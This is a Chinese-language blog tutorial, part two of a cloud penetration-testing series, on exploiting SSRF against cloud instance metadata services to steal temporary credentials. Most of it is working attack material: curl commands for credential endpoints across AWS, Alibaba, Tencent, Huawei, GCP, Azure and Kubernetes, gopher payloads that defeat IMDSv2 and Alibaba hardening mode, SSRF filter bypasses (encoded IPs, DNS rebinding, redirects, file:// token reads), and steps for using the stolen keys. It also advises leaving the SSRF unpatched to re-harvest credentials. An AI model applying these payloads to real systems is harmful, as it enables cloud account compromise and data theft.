云安全渗透(二)从 SSRF 到云凭证:元数据服务利用

一、元数据服务是云上最值钱的一个地址

第一篇讲了怎么找云资产和泄露的凭证。这一篇讲另一条更常见的路径:不依赖任何外部泄露,仅凭目标服务器上的一个 SSRF,直接拿到云账号的临时凭证。

这条路径的入口是一个地址:169.254.169.254。

1.1 为什么是这个地址

云厂商为了让实例里的程序能免密调用云 API,在每个实例内部提供了一个 HTTP 服务,叫实例元数据服务(IMDS)。它的设计有几个特点,恰好构成了安全问题的全部前提:

  1. 地址固定且是链路本地地址。 169.254.0.0/16 是 RFC 3927 定义的 link-local 段,不经过路由器转发,只能从实例内部访问。这个设计本意是好的,它保证了元数据服务不会暴露到公网。
  2. 默认不做鉴权。 IMDSv1 的设计目标就是"任何能发 HTTP 请求的程序都能读",因为实例本身已经被网络边界保护了。
  3. 返回的内容包括临时凭证。 如果实例绑定了 IAM 角色(阿里云叫 RAM 角色,腾讯云叫 CAM 角色),元数据服务会返回这个角色的临时 AccessKeyId、SecretAccessKey 和 SecurityToken。

问题就出在这三点的组合上。SSRF 漏洞的经典利用方式就是"让服务器去请求一个我们访问不到的地址",而元数据服务正是一个"只有服务器能访问、且不需要认证"的地址。一个看起来只能读内网页面的 SSRF,加上元数据服务,等于直接把云账号的凭证交出来。

关键认知:元数据服务的信任模型是"能从这个网络命名空间发出请求 = 有权访问"。它不区分请求是来自业务代码、还是来自攻击者通过 SSRF 控制的业务代码。

1.2 三类入口

入口起点典型场景
应用 SSRF一个 URL 参数图片抓取、Webhook、PDF 渲染、SSO 元数据导入
命令执行一个 shellWeb RCE、反序列化、模板注入
容器 / Pod容器内进程容器逃逸前后、K8s Pod 内的业务进程

第二类最直接,拿到 shell 之后一条 curl 就结束了。第三类需要注意网络命名空间的问题:如果容器没有用 host 网络,它和宿主机不在同一个网络命名空间,通常访问不到 169.254.169.254。这是很多人以为"进了容器就能拿元数据"却失败的原因。

1.3 探测基线

拿到一个可疑的 SSRF 或者 shell 之后,先用这几条命令做横切判断:

# AWS
curl -s -m 3 http://169.254.169.254/latest/meta-data/

# 阿里云
curl -s -m 3 http://100.100.100.200/latest/meta-data/

# 腾讯云
curl -s -m 3 http://metadata.tencentyun.com/latest/meta-data/

# 华为云
curl -s -m 3 http://169.254.169.254/openstack/latest/meta_data.json

# GCP,注意必须带头
curl -s -m 3 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Azure,注意必须带头
curl -s -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

-m 3 是必须加的超时。元数据服务不可达时,请求会一直挂着,不加超时会把 SSRF 利用链卡死。

返回内容的特征可以作为指纹:AWS 的 ami-id、instance-id,阿里云的 i-bp 或 iZ 开头实例 ID,腾讯云的 ins-,华为云的 nova。

有一个细节值得注意:华为云和 GCP、Azure 都用 169.254.169.254,所以先不带请求头打一次,看返回什么,再决定是加 Metadata: true 还是 Metadata-Flavor: Google。

二、AWS IMDS

2.1 IMDSv1:直接 GET

IMDSv1 是原始版本,没有任何鉴权:

# 列出可用的元数据项
curl -s http://169.254.169.254/latest/meta-data/

# 列出可用的 IAM 角色(如果实例绑定了角色)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 取角色的临时凭证
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleName

第二条命令返回的是角色名,第三条才是凭证。返回的 JSON:

{
  "Code": "Success",
  "LastUpdated": "2026-09-28T02:15:30Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEBEaCXVzLWVhc3QtMSJHMEUCIQ...",
  "Expiration": "2026-09-28T08:15:30Z"
}

AccessKeyId 以 ASIA 开头,表示这是临时凭证,必须配合 Token 使用。Expiration 决定了你有多长时间窗口,默认 6 小时。

转成环境变量验证:

export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEBEa..."
export AWS_DEFAULT_REGION="us-east-1"

aws sts get-caller-identity

返回的 ARN 形如 arn:aws:sts::123456789012:assumed-role/MyRoleName/i-0abc123,assumed-role 说明这是角色凭证,i-0abc123 是实例 ID。这个 ARN 是第三篇枚举权限的起点。

2.2 IMDSv2:先取 token

IMDSv2 为了解决 SSRF 问题引入,流程变成两步:

# 第一步:PUT 取 session token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# 第二步:带 token 访问所有接口
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleName

几个实现细节:

  • TTL 的取值范围是 1 到 21600 秒(6 小时)。超过上限返回 400。
  • PUT /latest/api/token 如果带了 X-Forwarded-For 头会被直接拒绝。这是 AWS 专门加的防护,因为很多 SSRF 会注入这个头。
  • 用 GET 请求 /latest/api/token 返回 405。这个 405 本身是个有用的指纹,可以判断对方是 AWS 且支持 IMDSv2。
  • 实例 IPv6 的元数据地址是 http://[fd00:ec2::254]/,行为一致。

IMDSv2 为什么能防 SSRF:因为一个典型的 SSRF 只能控制 URL,不能控制 HTTP 方法,也不能加自定义请求头。PUT 方法加上自定义头,两个条件都超出了普通 SSRF 的能力范围。

2.3 IMDSv2 挡不住什么

这个结论很重要,但经常被误读成"开了 IMDSv2 就安全了"。实际上:

第一,命令执行类漏洞完全不受影响。 拿到 shell 之后,curl -X PUT 后面加什么头都行,IMDSv2 形同虚设。所以 IMDSv2 只对纯 SSRF 有防护价值。

第二,支持自定义方法或请求头的 SSRF 可以绕过。 如果 SSRF 允许指定请求方法,或者存在 CRLF 注入,就能伪造出完整的 IMDSv2 流程。

第三,Gopher 协议直接破。 Gopher 可以构造任意 TCP 载荷,包括任意方法和任意头。这就是为什么 SSRF 里 gopher 支持与否是质变:

gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0aX-aws-ec2-metadata-token-ttl-seconds:%2021600%0d%0a%0d%0a

第四,混合配置仍然可读。 如果实例配的是 HttpTokens=optional 而不是 required,IMDSv1 依然可用。判断方法:不带任何头直接请求,能返回数据就是 optional。所以实战里第一件事就是不带头发一次请求。

2.4 ECS 和 Fargate

ECS 任务不用 IMDS,用的是另一个地址 169.254.170.2,路径由环境变量指定:

curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 的值形如 /v2/credentials/12345678-1234-1234-1234-123456789012。返回结构和 EC2 一样。

还有一个 FULL_URI 变体,用于自建代理场景,需要带 Authorization 头:

curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \
  "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

这两个环境变量本身就是很好的信息泄露点。拿到 shell 之后 env | grep AWS_ 应该成为条件反射。

2.5 EKS 的 IRSA 和 Pod Identity

EKS 上有两套给 Pod 授权获取 AWS 凭证的机制,凭证入口不一样。

IRSA(IAM Roles for Service Accounts) 用 OIDC 联邦。Pod 里会有这两个环境变量:

echo $AWS_ROLE_ARN
echo $AWS_WEB_IDENTITY_TOKEN_FILE

token 文件默认在 /var/run/secrets/eks.amazonaws.com/serviceaccount/token。用它去换临时凭证:

aws sts assume-role-with-web-identity \
  --role-arn "$AWS_ROLE_ARN" \
  --role-session-name pentest \
  --web-identity-token "file://$AWS_WEB_IDENTITY_TOKEN_FILE"

返回的凭证可以直接给 AWS CLI 用。注意 IRSA 的 token 默认有效期 1 小时(可配置到 12 小时),比 EC2 的 6 小时短,时间窗口要算好。

Pod Identity 用一层 agent 代理,环境变量长得像 ECS 的:

echo $AWS_CONTAINER_CREDENTIALS_FULL_URI
# 形如 http://169.254.170.23/v1/credentials
echo $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE
# 形如 /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

curl -s -H "Authorization: $(cat $AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE)" \
  "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

在 EKS 上做横向时,env | grep -E 'AWS_|TOKEN' 这一条命令的价值极高,因为它能直接告诉你当前 Pod 有没有 AWS 凭证、走的是哪套机制。

三、国内三家云

3.1 阿里云

阿里云的元数据地址是 100.100.100.200,是个特殊的内部地址而不是 link-local。ECS 和 ECI(弹性容器实例)都用它。

# 列出元数据项
curl -s http://100.100.100.200/latest/meta-data/

# 列出 RAM 角色
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/

# 取凭证
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/MyRoleName

返回格式:

{
  "AccessKeyId": "STS.LTAI5tXXXXXXXXXXXXXX",
  "AccessKeySecret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "SecurityToken": "CAISxxxxxxxxxxxxxxxxxxxxxxxx",
  "Expiration": "2026-09-28T09:44:50Z",
  "LastUpdated": "2026-09-28T03:44:50Z",
  "Code": "Success"
}

AccessKeyId 以 STS. 开头,这是阿里云临时凭证的标志。

阿里云也有对标 IMDSv2 的加固模式(security hardening mode):

# 取 token
TOKEN=$(curl -s -X PUT "http://100.100.100.200/latest/api/token" \
  -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600")

# 带 token 访问
curl -s -H "X-aliyun-ecs-metadata-token: $TOKEN" \
  http://100.100.100.200/latest/meta-data/ram/security-credentials/

错误码可以用来判断当前模式,这几个很有用:

现象含义
PUT 时 TTL 超过 21600 → 400请求格式对,但 TTL 超限
PUT 时带 X-Forwarded-For → 403加固模式,且检测到可疑头
带错误 token 请求 → 401加固模式已开启
不带 token 请求元数据 → 403加固模式强制要求 token
不带 token 请求正常返回普通模式,可以直接读

默认情况下多数阿里云 ECS 是普通模式,也就是不带 token 就能直接读凭证。这是 SSRF 打阿里云时的主要收益点。加固模式需要用户主动开启,而且开启后如果 SSRF 无法发 PUT,这条路就断了。

一个配置细节:阿里云允许"普通 + 加固"混合模式,混合模式下仍然可以无 token 读取,只是会记录审计日志。所以看到 403 才说明真的开严了。

ECS 和 ECI 都是 100.100.100.200,路径一致,但 ECI 的 instance-id 是 ECI 实例 ID,返回的凭证由容器组的 RAM 角色决定。ECI 是否默认强制 token 依赖平台版本,标为待验证。

函数计算 FC 不同,它不走元数据服务,凭证通过函数的 context.credentials 提供。所以拿到 FC 的函数代码之后,要去代码里找 context.credentials 的用法。

ACK(阿里云容器服务)有对标 IRSA 的 RRSA 机制,环境变量名待验证:

# RRSA 相关的环境变量(变量名待验证)
env | grep -i ALIBABA_CLOUD
# ALIBABA_CLOUD_ROLE_ARN
# ALIBABA_CLOUD_OIDC_TOKEN_FILE
# ALIBABA_CLOUD_OIDC_PROVIDER_ARN

3.2 腾讯云

腾讯云有两个等价的入口,域名 metadata.tencentyun.com 解析到 169.254.0.23:

# 两种写法等价
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/

# 列出 CAM 角色
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/

# 取凭证
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/MyRoleName

返回的字段名是 TmpSecretId、TmpSecretKey、Token、ExpiredTime,具体字段名随版本可能有微调,标为待验证。凭证有效期约 12 小时。

腾讯云的元数据 URL 是大小写敏感的,路径写错返回 404。这一点和 AWS 不同,调试时容易被卡住。

除了凭证,元数据里还有一批高价值信息:

# 安全组规则,能看出内网开放了哪些端口
curl -s http://metadata.tencentyun.com/latest/meta-data/instance/security-group

# 实例所在的地域、VPC、子网
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region

腾讯云是否强制元数据 token(对标 IMDSv2 的 PUT /latest/api/token)默认是关闭的,具体头名和开关待验证。所以在实战里先按无 token 直读试。

3.3 华为云

华为云用标准 link-local 地址 169.254.169.254,同时支持 OpenStack 风格和 EC2 兼容风格两套路径:

# OpenStack 风格,信息最全
curl -s http://169.254.169.254/openstack/latest/meta_data.json
curl -s http://169.254.169.254/openstack/latest/network_data.json
curl -s http://169.254.169.254/openstack/latest/user_data

# EC2 兼容风格
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4

# 临时 AK/SK,需要该 ECS 已配置委托
curl -s http://169.254.169.254/openstack/latest/securitykey

securitykey 返回的结构(字段名待验证):

{
  "credential": {
    "access": "...",
    "secret": "...",
    "securitytoken": "...",
    "expires_at": "..."
  }
}

有两个华为云特有的细节:

  1. 临时 AK/SK 有效期 24 小时,比 AWS 的 6 小时长。
  2. 调用 API 时必须额外加头 X-Security-Token: <securitytoken>。华为云不把这个 token 当作 AccessKeyId 的一部分,而是单独的请求头。用 CLI 时要显式配置,忘了加会一直返回鉴权失败。

meta_data.json 里包含 uuid、availability_zone、region_id、project_id、VPC 信息,这些是横向移动时定位目标的关键。

华为云的另一个坑:安全组出方向需要放通 TCP 80 到 169.254.0.0/16,否则元数据请求会被安全组拦掉。看到超时要先想到这个可能。

3.4 国内三家对照表

项目阿里云腾讯云华为云
地址100.100.100.200metadata.tencentyun.com / 169.254.0.23169.254.169.254
角色类型RAM 角色CAM 角色委托
凭证路径/latest/meta-data/ram/security-credentials/<role>/latest/meta-data/cam/security-credentials/<role>/openstack/latest/securitykey
临时凭证 ID 前缀STS.LTAIAKID无固定前缀
是否需额外头否(普通模式)否是,X-Security-Token
默认有效期未明确约 12 小时24 小时
加固模式有,/latest/api/token有,默认关闭无明确对标

四、GCP 与 Azure

4.1 GCP

GCP 的元数据服务强制要求 Metadata-Flavor: Google 头,缺失返回 403:

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

# 列出所有 service account
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/?recursive=true"

# 取默认 SA 的 access token
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

返回:

{"access_token":"ya29.c...","expires_in":3599,"token_type":"Bearer"}

GCP 的 token 有效期只有 1 小时,是几家里最短的。

用 IP 直连时建议保持 Host 头为 metadata.google.internal,因为有些实现会校验 Host。

除了 token,GCP 元数据里还有两个高价值项:

# 实例属性,经常藏着 SSH key 和 startup-script
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# 项目级属性
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true"

# 检查 token 的权限范围
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

最后一条很重要。GCP 的实例 token 受 access scope 限制,如果 scope 是 cloud-platform.read-only,拿到的 token 只能读,提权时需要用别的手段(比如找 Service Account key 文件)来突破。

GCP 官方文档在本次调研中多次访问失败,这一节的具体细节建议在实操前对照官方文档复核。

4.2 Azure

Azure 的元数据服务强制要求 Metadata: true 头(小写的 true),缺失返回 400 和错误码 bad_request_102:

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F"

返回:

{
  "access_token": "eyJ0eXAiOiJKV1Qi...",
  "expires_in": "3599",
  "expires_on": "...",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

resource 参数决定这个 token 能访问什么。常用的几个:

resource用途
https://management.azure.com/管理 Azure 资源
https://vault.azure.net读 Key Vault 里的密钥
https://storage.azure.com/访问存储账户
https://graph.microsoft.com/访问 Entra ID

如果实例有多个托管标识,需要额外传 client_id 或 object_id 来指定用哪一个。这在拿到一个没有权限的 token 时是个排查方向:换一个 client_id 再试。

api-version 至少要用 2018-02-01,低于这个版本可能不支持。

Azure 的实例信息接口也值得打一次:

curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

这里面有订阅 ID、资源组、VNet、子网、网络接口,是做横向时画网络拓扑的基础。

注意 404、410、429 这几个返回码在 Azure 上不一定是权限问题,可能是 IMDS 侧正在更新或限流,重试一次往往就好了。

五、Kubernetes 里的凭证

K8s 本身不提供云元数据,但集群里的 Pod 有两类凭证值得关注。

第一类是 ServiceAccount token,路径固定在:

ls /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt  namespace  token

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods"

这个 token 能做什么,取决于绑给这个 SA 的 RBAC 权限。完整的判断和提权在第五篇讲。

第二类是云侧凭证,就是前面讲的 IRSA、Pod Identity、RRSA。链条是:

Pod 内的 SA token / OIDC token
    → 调用云厂商的 AssumeRoleWithWebIdentity
    → 拿到云角色的临时凭证
    → 操作云资源

这条链条意味着:即使 Pod 本身在 K8s 里权限很低,只要它绑了云角色,就能跳到云账号里。反过来也一样,从云账号可以跳到集群。这是第五篇第五节的重点。

第三类是历史遗留的 SA token Secret。K8s 1.24 之前,每个 SA 都会自动创建一个长期 token Secret,名字形如 <sa-name>-token-<5位随机>。如果集群里有残留,读到它就能长期使用该 SA 的身份:

kubectl get secret -A | grep -i 'token'
kubectl get secret <name> -n <ns> -o jsonpath='{.data.token}' | base64 -d

六、SSRF 侧的限制与绕过

前面讲的是"到了元数据服务之后怎么读"。实际操作里 80% 的时间花在"怎么让 SSRF 打到 169.254.169.254 并且回去的内容能被我看到"。

6.1 IP 变形

SSRF 的防护经常用黑名单过滤 169.254.169.254 这个字符串,但对 IP 的其他表示形式识别不全。全部等价的写法:

http://2852039166/                      十进制
http://0251.0376.0251.0376/             八进制
http://0xA9FEA9FE/                      十六进制
http://0xa9.0xfe.0xa9.0xfe/             分段十六进制
http://[::ffff:169.254.169.254]/        IPv6 映射
http://[0:0:0:0:0:ffff:a9fe:a9fe]/      IPv6 完整写法
http://169.254.169.254./                末尾加点

对应的十六进制算法:169.254.169.254 转成十进制是 2852039166,转成十六进制是 0xA9FEA9FE。写脚本时可以自动生成:

import ipaddress
ip = "169.254.169.254"
n = int(ipaddress.ip_address(ip))
print(f"decimal: {n}")
print(f"hex: {hex(n)}")
print(f"octal: " + ".".join(f"0{o:o}" for o in ip.split(".")))

6.2 跳转与 DNS

@ 混淆利用的是 URL 解析规则:@ 前面是用户信息,后面才是真正的主机名。

http://expected.com@169.254.169.254/
http://169.254.169.254#@expected.com/
http://169.254.169.254:80@127.0.0.1/

白名单如果只做"字符串包含 expected.com"检查,就会被绕过。有些解析器把 # 后面当作 fragment 忽略,有些把它当作路径的一部分,这个差异就是利用点。

短域名和 xip.io 类服务:如果防护把 link-local IP 段整个拉黑,可以用一个解析到该 IP 的域名:

http://169.254.169.254.nip.io/
http://169.254.169.254.xip.io/

白名单按域名做检查时,nip.io 这类服务能绕过。

302 跳转:让目标先请求一个自己控制的 HTTP 服务,返回 Location: http://169.254.169.254/...。如果 SSRF 实现会跟随跳转,并且跳转后不重新校验目标,就能绕过。

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

DNS rebinding:自己搭一个权威 DNS,第一次解析返回一个合法的公网 IP 通过校验,第二次返回 169.254.169.254。利用的是"校验时解析一次、请求时再解析一次"的时间差。测试用的公共 rebinding 服务:

http://7f000001.a9fea9fe.rbndr.us/     # 在 127.0.0.1 和 169.254.169.254 之间切换

6.3 协议与头注入

Gopher 是最强的一个。它能构造任意 TCP 载荷,前面已经演示了怎么用它走完 IMDSv2 的 PUT 流程。同样也能破阿里云的加固模式:

gopher://100.100.100.200:80/_PUT%20/latest/api/token%20HTTP/1.1%0d%0aHost:%20100.100.100.200%0d%0aX-aliyun-ecs-metadata-token-ttl-seconds:%2021600%0d%0a%0d%0a

CRLF 头注入:如果 URL 参数会被拼进请求头,可以注入额外的头:

%0d%0aX-aws-ec2-metadata-token: <token>

有意思的是,往 IMDSv2 的请求里注入 X-Forwarded-For 会导致 403,这个行为可以反过来用来探测目标是否开启了加固模式。

file:// 协议在某些 SSRF 实现里可用,能直接读本地文件。K8s 环境里一个典型目标:

file:///var/run/secrets/kubernetes.io/serviceaccount/token

编码绕过:双重 URL 编码(%2561)、大小写混用、路径中插入多余斜杠。有效性和后端的解码次数有关,解码次数不一致就存在机会。

6.4 黑盒下怎么确认能打元数据

不是每个 SSRF 都能直接看到响应,很多是无回显的。判断方法:

时间差。169.254.169.254:80 在本机是开放的,响应很快;换成一个不存在但同网段的地址(比如 169.254.169.253),会明显超时。对同一个 SSRF 点分别测这两个地址,响应时间有差异就说明能发出请求。

错误码差异。前面列的各家错误码本身就是指纹:

现象指向
/latest/api/token GET 返回 405AWS
缺 Metadata-Flavor 返回 403GCP
缺 Metadata: true 返回 400 + bad_request_102Azure
不带 token 返回 403阿里云加固模式
带 X-Forwarded-For 的 PUT 返回 403AWS 或阿里云加固模式

外带确认。让目标请求自己的 collaborator 地址,确认它能出网、能跟随跳转。虽然元数据的内容不会外带,但这一步能确认 SSRF 的基本能力。

有回显但内容是二进制或图片。用 SSRF 直接请求元数据,拿到的 JSON 会被当成图片解析失败。这时候看响应长度和错误信息,往往能推断出内容。更彻底一点,如果 SSRF 点有"把远程资源保存到本地"的功能,可以用它把元数据响应写进文件,再通过另一个接口读出来。

七、从凭证到下一步

拿到临时凭证后,立刻做三件事。

第一,验证有效性并确认身份。

# AWS
aws sts get-caller-identity

# 阿里云
aliyun configure --mode StsToken \
  --access-key-id "STS.LTAI5tXXXXXXXXXXXXXX" \
  --access-key-secret "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" \
  --sts-token "CAISxxxxxxxxxxxxxxxxxxxxxxxx"
aliyun sts GetCallerIdentity

# 腾讯云
export TENCENTCLOUD_SECRET_ID="AKIDxxxxxxxx"
export TENCENTCLOUD_SECRET_KEY="xxxxxxxx"
export TENCENTCLOUD_TOKEN="xxxxxxxx"
tccli sts GetCallerIdentity

第二,算清楚有效期。 从拿到凭证到执行完提权,中间可能要做好几步枚举,每一步都在消耗时间。IRSA 只有 1 小时,GCP 也是 1 小时,最容易超时。做法是先做枚举和路径规划,把真正需要写操作的动作压缩到最后一步执行。

第三,判断这个角色值不值得深挖。 元数据返回的角色可能是节点角色(权限很大)也可能是某个应用的专用角色(只够读一个桶)。回到第二篇开头的那句话:拿到凭证不难,难的是快速判断它能干什么。

凭证轮换的问题要单独提一下。IMDS 返回的凭证是会自动轮换的,但如果原来的获取路径(比如那个 SSRF)还在,可以随时重新取一次。所以利用链做完之后,不要把 SSRF 的入口堵死,否则凭证过期就得重新找路。当然,从攻击者视角是这样,从防守方视角,修掉 SSRF 才是根治,因为元数据凭证本身只是被利用的结果。


下一篇讲第三篇:云凭证利用与 IAM 提权。核心问题是:拿到一组 AK/SK 之后,怎么系统枚举它的权限,怎么判断哪些权限组合等价于管理员,以及 AWS 和阿里云各自有哪些具体的提权路径和对应命令。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇